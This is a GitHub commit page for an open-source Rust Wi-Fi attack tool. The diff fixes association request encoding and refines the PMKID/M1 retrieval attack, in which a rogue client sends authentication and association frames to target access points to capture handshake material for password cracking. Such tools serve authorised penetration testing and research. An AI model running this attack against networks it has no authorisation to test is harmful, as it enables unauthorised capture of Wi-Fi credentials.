Skip to content

Commit

Permalink
Optimized PMKID & Fixed Association Request
Browse files Browse the repository at this point in the history
  • Loading branch information
Ragnt committed Aug 11, 2024
1 parent ea28f84 commit 437ee16
Show file tree
Hide file tree
Showing 9 changed files with 89 additions and 63 deletions.
2 changes: 1 addition & 1 deletion Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
members = ["libs/libwifi", "libs/libwifi_macros", "libs/pcap-file"]

[workspace.package]
version = "0.8.20"
version = "0.8.27"
authors = ["Ryan Butler"]
description = "80211 Attack Tool"
license = "GPL"
Expand Down
33 changes: 21 additions & 12 deletions libs/libwifi/src/frame/components/station_info.rs
Original file line number Diff line number Diff line change
Expand Up @@ -37,8 +37,19 @@ pub struct StationInfo {

impl StationInfo {
pub fn encode(&self) -> Vec<u8> {
let mandatory_rates = [6.0f32, 12.0, 24.0];
let mut bytes = Vec::new();

// Encode SSID (if present)
if let Some(ssid) = &self.ssid {
bytes.push(0); // ID
bytes.push(ssid.len() as u8); // Length of SSID
bytes.extend_from_slice(ssid.as_bytes()); // SSID as bytes
} else {
bytes.push(0);
bytes.push(0);
}

if !self.supported_rates.is_empty() {
// Encode Supported Rates
bytes.push(1); // ID
Expand All @@ -47,7 +58,11 @@ impl StationInfo {
// Convert rate from Mbps to 500 kbps units and then to a byte
let rate_byte = (rate_mbps * 2.0) as u8;
let rate_byte_with_flag = rate_byte | 0x80; // Setting MSB
bytes.push(rate_byte_with_flag);
if mandatory_rates.contains(&rate_mbps) {
bytes.push(rate_byte_with_flag);
} else {
bytes.push(rate_byte);
}
}
}

Expand All @@ -59,20 +74,14 @@ impl StationInfo {
// Convert rate from Mbps to 500 kbps units and then to a byte
let rate_byte = (rate_mbps * 2.0) as u8;
let rate_byte_with_flag = rate_byte | 0x80; // Setting MSB
bytes.push(rate_byte_with_flag);
if mandatory_rates.contains(&rate_mbps) {
bytes.push(rate_byte_with_flag);
} else {
bytes.push(rate_byte);
}
}
}

// Encode SSID (if present)
if let Some(ssid) = &self.ssid {
bytes.push(0); // ID
bytes.push(ssid.len() as u8); // Length of SSID
bytes.extend_from_slice(ssid.as_bytes()); // SSID as bytes
} else {
bytes.push(0);
bytes.push(0);
}

// Encode DS Parameter Set (if present)
if let Some(ds_param) = self.ds_parameter_set {
bytes.push(3); // DS Parameter Set tag number
Expand Down
6 changes: 3 additions & 3 deletions libs/libwifi/src/frame/management/association.rs
Original file line number Diff line number Diff line change
Expand Up @@ -19,12 +19,12 @@ impl AssociationRequest {
// Encode the ManagementHeader
bytes.extend(self.header.encode());

// Encode Beacon Interval
bytes.extend_from_slice(&self.beacon_interval.to_le_bytes());

// Encode Capability Info
bytes.extend_from_slice(&self.capability_info.to_le_bytes());

// Encode Beacon Interval
bytes.extend_from_slice(&self.beacon_interval.to_le_bytes());

// Encode Station Info
bytes.extend(self.station_info.encode());

Expand Down
31 changes: 19 additions & 12 deletions libs/libwifi/src/parsers/frame_types/management.rs
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,7 @@ pub fn parse_association_request(
/// - Authentication Transaction Sequence Number
/// - Status Code
/// - Challenge Text (optional, dynamic length)
/// - Station Info (optional, dynamic length)
pub fn parse_authentication_frame(
frame_control: FrameControl,
input: &[u8],
Expand All @@ -51,19 +52,25 @@ pub fn parse_authentication_frame(
let (input, status_code) = le_u16(input)?;

// Parse the optional challenge text, if present
let (_, challenge_text) = if input.is_empty() {
(input, None)
let (challenge_text, station_info) = if auth_algorithm == 1 {
let (_, challenge_text) = if input.is_empty() {
(input, None)
} else {
let (input, length) = le_u16(input)?;
let (input, text) = take(length)(input)?;
(input, Some(text.to_vec()))
};
(challenge_text, None)
} else {
let (input, length) = le_u16(input)?;
let (input, text) = take(length)(input)?;
(input, Some(text.to_vec()))
};

// Parse station info (extended capabilities) if present
let station_info = if let Ok((input, info)) = parse_station_info(input) {
Some(info)
} else {
None
// Parse station info (extended capabilities) if present
let station_info = if input.is_empty() {
None
} else if let Ok((_, info)) = parse_station_info(input) {
Some(info)
} else {
None
};
(None, station_info)
};

Ok(Frame::Authentication(Authentication {
Expand Down
30 changes: 15 additions & 15 deletions src/attack.rs
Original file line number Diff line number Diff line change
Expand Up @@ -264,6 +264,10 @@ pub fn m1_retrieval_attack(oxide: &mut OxideRuntime, ap_mac: &MacAddress) -> Res
return Ok(());
}

if !ap_data.auth_sequence.cts() {
return Ok(());
}

// Make an authentication frame (no_ack), so we don't over-send.
// This will flip between sending params and not sending, hopefully one of them works.
let frx = if oxide.counters.seq2 % 2 == 0 {
Expand All @@ -285,7 +289,7 @@ pub fn m1_retrieval_attack(oxide: &mut OxideRuntime, ap_mac: &MacAddress) -> Res
ap_data.interactions += 1;
oxide.status_log.add_message(StatusMessage::new(
MessageType::Info,
format!("M1 Retrieval - sent authentication [{}]", ap_mac),
format!("M1 Retrieval - Sent Authentication Req [{}]", ap_mac),
));

Ok(())
Expand All @@ -297,10 +301,12 @@ pub fn m1_retrieval_attack_phase_2(
client_mac: &MacAddress,
oxide: &mut OxideRuntime,
) -> Result<(), String> {
// Return if PMKID is disabled
if oxide.config.disable_pmkid {
return Ok(());
}

// Return if no-transmit is on
if oxide.config.notx {
return Ok(());
}
Expand All @@ -309,30 +315,23 @@ pub fn m1_retrieval_attack_phase_2(
let ap_data = if let Some(ap) = oxide.access_points.get_device(ap_mac) {
ap
} else {
oxide.status_log.add_message(StatusMessage::new(
MessageType::Info,
format!("M1 Retrieval - no AP [{}]", ap_mac),
));
return Ok(());
};

if !oxide.target_data.targets.is_target(ap_data) {
oxide.status_log.add_message(StatusMessage::new(
MessageType::Info,
format!("M1 Retrieval - not a target? [{}]", ap_mac),
));
return Ok(());
}

if oxide.target_data.whitelist.is_whitelisted(ap_data) {
oxide.status_log.add_message(StatusMessage::new(
MessageType::Info,
format!("M1 Retrieval - is whitelisted? [{}]", ap_mac),
));
return Ok(());
}

if oxide.handshake_storage.has_m1_for_ap(ap_mac) {
// if we already have a PMKID, return
if ap_data.has_pmkid {
return Ok(());
}

if !ap_data.auth_sequence.cts() {
return Ok(());
}

Expand All @@ -341,6 +340,7 @@ pub fn m1_retrieval_attack_phase_2(
} else {
RsnCipherSuite::CCMP
};

let gs: RsnCipherSuite = if ap_data.information.gs_tkip.is_some_and(|f| f) {
RsnCipherSuite::TKIP
} else {
Expand All @@ -361,7 +361,7 @@ pub fn m1_retrieval_attack_phase_2(
ap_data.interactions += 1;
oxide.status_log.add_message(StatusMessage::new(
MessageType::Info,
format!("M1 Retrieval - sent association [{}]", ap_mac),
format!("M1 Retrieval - Sent Association Req [{}]", ap_mac),
));

Ok(())
Expand Down
37 changes: 23 additions & 14 deletions src/devices.rs
Original file line number Diff line number Diff line change
Expand Up @@ -9,31 +9,31 @@ use rand::seq::IteratorRandom;
use rand::thread_rng;
use std::collections::HashMap;

use std::time::{Duration, SystemTime, UNIX_EPOCH};
use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH};

use crate::oui::OuiRecord;
use crate::util::{epoch_to_iso_string, epoch_to_string, option_bool_to_json_string, wps_to_json};
use crate::OxideRuntime;

// Constants for timeouts
const CONST_T1_TIMEOUT: Duration = Duration::from_secs(5); // Do not change state unless five seconds has passed.
const CONST_T2_TIMEOUT: Duration = Duration::from_millis(200); // Still need a purpose for this.
const CONST_T2_TIMEOUT: Duration = Duration::from_millis(2); // Still need a purpose for this.

//////////////////////////////////////////////////////////////////////
///
#[derive(Clone, Debug)]
pub struct AuthSequence {
pub t1: SystemTime,
pub t2: SystemTime,
pub t1: Instant,
pub t2: Instant,
pub rogue_mac: MacAddress,
pub state: u8,
}

impl AuthSequence {
fn new(rogue_mac: MacAddress) -> Self {
AuthSequence {
t1: SystemTime::UNIX_EPOCH,
t2: SystemTime::now(),
t1: Instant::now(),
t2: Instant::now(),
rogue_mac: MacAddress::random_with_oui(&rogue_mac),
state: 0,
}
Expand All @@ -43,27 +43,36 @@ impl AuthSequence {
// Timer 1 is an interaction timer - elapsed means we have passed 1 second
pub fn is_t1_timeout(&self) -> bool {
self.t1
.elapsed()
.map_or(false, |elapsed| elapsed > CONST_T1_TIMEOUT)
.elapsed() > CONST_T1_TIMEOUT
}

// Checks if CONST_T2_TIMEOUT has elapsed since t2
// Timer 2 is a timer of WHEN state last changed.
pub fn is_t2_timeout(&self) -> bool {
self.t2
.elapsed()
.map_or(false, |elapsed| elapsed > CONST_T2_TIMEOUT)
.elapsed()> CONST_T2_TIMEOUT
}

// Checks if CONST_T2_TIMEOUT has elapsed since t2
// Timer 2 is a timer of WHEN state last changed.
pub fn cts(&mut self) -> bool {
if self.t2.elapsed() > CONST_T2_TIMEOUT {
self.reset_t2();
true
} else {
false
}
}

// Reset t1
pub fn reset_t1(&mut self) -> SystemTime {
self.t1 = SystemTime::now();
pub fn reset_t1(&mut self) -> Instant {
self.t1 = Instant::now();
self.t1
}

// Reset t2
pub fn reset_t2(&mut self) -> SystemTime {
self.t2 = SystemTime::now();
pub fn reset_t2(&mut self) -> Instant {
self.t2 = Instant::now();
self.t2
}

Expand Down
1 change: 1 addition & 0 deletions src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -1545,6 +1545,7 @@ fn process_frame(oxide: &mut OxideRuntime, packet: &[u8]) -> Result<(), String>
),
);
} else {
// lets print so we know we see it
let _ = m1_retrieval_attack_phase_2(
&ap_addr,
&oxide.target_data.rogue_client.clone(),
Expand Down
10 changes: 5 additions & 5 deletions src/tx.rs
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ pub fn build_authentication_response(
protocol_version: 0,
frame_type: libwifi::FrameType::Management,
frame_subtype: libwifi::FrameSubType::Authentication,
flags: 1u8,
flags: 0u8,
};

let header: ManagementHeader = ManagementHeader {
Expand Down Expand Up @@ -80,7 +80,7 @@ pub fn build_authentication_frame_noack(
protocol_version: 0,
frame_type: libwifi::FrameType::Management,
frame_subtype: libwifi::FrameSubType::Authentication,
flags: 1u8,
flags: 0u8,
};

let header: ManagementHeader = ManagementHeader {
Expand Down Expand Up @@ -117,7 +117,7 @@ pub fn build_authentication_frame_with_params(
protocol_version: 0,
frame_type: libwifi::FrameType::Management,
frame_subtype: libwifi::FrameSubType::Authentication,
flags: 1u8,
flags: 0u8,
};

let header: ManagementHeader = ManagementHeader {
Expand Down Expand Up @@ -229,7 +229,7 @@ pub fn build_association_request_rg(
protocol_version: 0,
frame_type: libwifi::FrameType::Management,
frame_subtype: libwifi::FrameSubType::AssociationRequest,
flags: 1u8,
flags: 0u8,
};

let header: ManagementHeader = ManagementHeader {
Expand Down Expand Up @@ -306,7 +306,7 @@ pub fn build_association_request(
protocol_version: 0,
frame_type: libwifi::FrameType::Management,
frame_subtype: libwifi::FrameSubType::AssociationRequest,
flags: 1u8,
flags: 0u8,
};

let header: ManagementHeader = ManagementHeader {
Expand Down

0 comments on commit 437ee16

Please sign in to comment.